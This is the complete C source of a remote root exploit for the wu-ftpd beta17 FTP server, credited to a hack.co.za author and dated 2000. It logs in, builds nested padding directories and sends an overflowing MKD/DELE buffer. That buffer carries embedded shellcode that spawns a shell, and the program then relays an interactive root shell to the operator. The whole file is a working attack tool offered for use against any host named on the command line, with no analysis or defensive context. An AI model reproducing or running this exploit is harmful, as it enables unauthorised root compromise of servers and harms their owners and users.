/*
 *  ftpwarez.c
 *  wu-ftpd beta17 remote root overflow (non-chroot)
 *
 *  Copyright (c) anathema <anathema@hack.co.za>
 *  All rights reserved.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

char c0de[]=
  "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x2a\x5b\x89\xd9"
  "\x80\xc1\x06\x39\xd9\x7c\x06\x80\x01\x20\x49\xeb\xf6\x89\x5b\x08\x29\xc0\x88"
  "\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
  "\x80\xe8\xd1\xff\xff\xff\xff\xff\xff\x0f\x42\x49\x4e\x0f\x53\x48";

#define FTP_PORT		21
#define LEN_I			155
#define ALIGN			3
#define RETPOS			190
#define ADDR			0xbfffe314

u_long
resolve_host(u_char *host_name)
{
  struct in_addr addr;
  struct hostent *host_ent;

  addr.s_addr = inet_addr(host_name);
  if (addr.s_addr == -1)
    {
      host_ent = gethostbyname(host_name);
      if (!host_ent) return(-1);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return(addr.s_addr);
}

void
sndres(int sock, u_char *buf, ...)
{
  u_char tmp[4096];
  va_list list;

  memset(tmp, 0, sizeof(tmp));

  va_start(list, buf);
  vsnprintf(tmp, sizeof(tmp), buf, list);
  write(sock, tmp, strlen(tmp));
  va_end(list);
}

void
rcvres(int sock)
{
  u_char tmp[4096];

  memset(tmp, 0, sizeof(tmp));
  recv(sock, tmp, sizeof(tmp), 0);

  fprintf(stderr, "%s", tmp);
}

void
srrez(int sock, u_char *buf, ...)
{
  u_char tmp[4096];
  va_list list;

  memset(tmp, 0, sizeof(tmp));

  va_start(list, buf);
  vsnprintf(tmp, sizeof(tmp), buf, list);
  write(sock, tmp, strlen(tmp));
  va_end(list);

  rcvres(sock);
}

void
ftp_login(int sock, u_char *user, u_char *pwd, u_char *dir)
{
  rcvres(sock);
  srrez(sock, "USER %s\n", user);
  srrez(sock, "PASS %s\n", pwd);
  srrez(sock, "CWD %s\n", dir);
}

void
make_padding_dir(int sock, u_int dir_len)
{
  u_char buf[4096];
  int i = 0;

  memset(buf, 0, sizeof(buf));
  memset(buf, 0x90, RETPOS + ALIGN);

  for (; i < 4; i++)
    {
      srrez(sock, "MKD %s\n", buf);
      srrez(sock, "CWD %s\n", buf);
    }

  memset(buf, 0, sizeof(buf));
  memset(buf, 0x90, LEN_I - dir_len);

  srrez(sock, "MKD %s\n", buf);
  srrez(sock, "CWD %s\n", buf);
}

void
shellz(int sock)
{
  u_char buf[4096];
  fd_set fds;

  fprintf(stderr, "b00m\n");

  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(sock, &fds);

      select(255, &fds, NULL, NULL, NULL);
      memset(buf, 0, sizeof(buf));

      if (FD_ISSET(sock, &fds))
        {
          read(sock, buf, sizeof(buf));
          fprintf(stderr, "%s", buf);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, buf, sizeof(buf));
          write(sock, buf, strlen(buf));
        }
    }

  /* NOTREACHED */
}

void
exploit(int sock)
{
  u_long addr = ADDR;
  u_char buf[4096];
  int i = 0, j = 0;

  memset(buf, 0x90, sizeof(buf));

  for (i = RETPOS - strlen(c0de); i < RETPOS; j++, i++)
    {
      buf[i] = c0de[j];
    }

  for (; i < RETPOS+24; i += 5)
    {
      buf[i+0] = (addr & 0x000000ff);
      buf[i+1] = (addr & 0x0000ff00) >> 8;
      buf[i+2] = (addr & 0x00ff0000) >> 16;
      buf[i+3] = (addr & 0x00ff0000) >> 16;
      buf[i+4] = (addr & 0xff000000) >> 24;
    }

  buf[i] = 0;

  srrez(sock, "MKD %s\n", buf);
  srrez(sock, "DELE %s\n", buf);

  shellz(sock);
  /* NOTREACHED */
}

void
usage(u_char *nomenclature)
{
  fprintf(stderr,
          "No.\nusage:\t%s [ -h dst_host|ip ] [ -u user ] [ -p password ]\n"
          "\t\t[ -d dir ] [ -l len ]\n", nomenclature);
}

int
main(int argc, char **argv)
{
  struct in_addr addr;
  struct sockaddr_in sin;
  u_long dst_ip;
  u_char host_name[255], user_name[255],
  password[255], init_dir[255];
  char opt;
  u_int dir_len;
  int sock;

  if (argc < 6)
    {
      usage(argv[0]);
      exit(-1);
    }

  while ((opt = getopt(argc, argv, "h:u:p:d:l:")) != EOF)
    {
      switch(opt)
        {
        case 'h':
          strncpy(host_name, optarg, sizeof(host_name));
          break;
        case 'u':
          strncpy(user_name, optarg, sizeof(user_name));
          break;
        case 'p':
          strncpy(password, optarg, sizeof(password));
          break;
        case 'd':
          strncpy(init_dir, optarg, sizeof(init_dir));
          break;
        case 'l':
          dir_len = (u_int)atoi(optarg);
          break;
        default:
          usage(argv[0]);
          exit(-1);
          /* NOTREACHED */
        }
    }

  if (!host_name || !user_name || !password ||
      !init_dir || dir_len == 0)
    {
      fprintf(stderr, "Invalid arguments.\n");
      exit(-1);
    }

  dst_ip = resolve_host(host_name);
  if (dst_ip == -1)
    {
      fprintf(stderr, "What kind of IP address is this: `%s`?\n", host_name);
      exit(-1);
    }

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(FTP_PORT);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin,
              sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      close(sock);
      exit(-1);
    }

  addr.s_addr = dst_ip;
  fprintf(stderr, "\nThe eyes of stanley pain:\n"
          "To: %15s.%2d\n\n", inet_ntoa(addr), FTP_PORT);

  ftp_login(sock, user_name, password, init_dir);
  make_padding_dir(sock, dir_len);
  exploit(sock);

  /* NOTREACHED */
}
/*                    www.hack.co.za              [2000]*/
 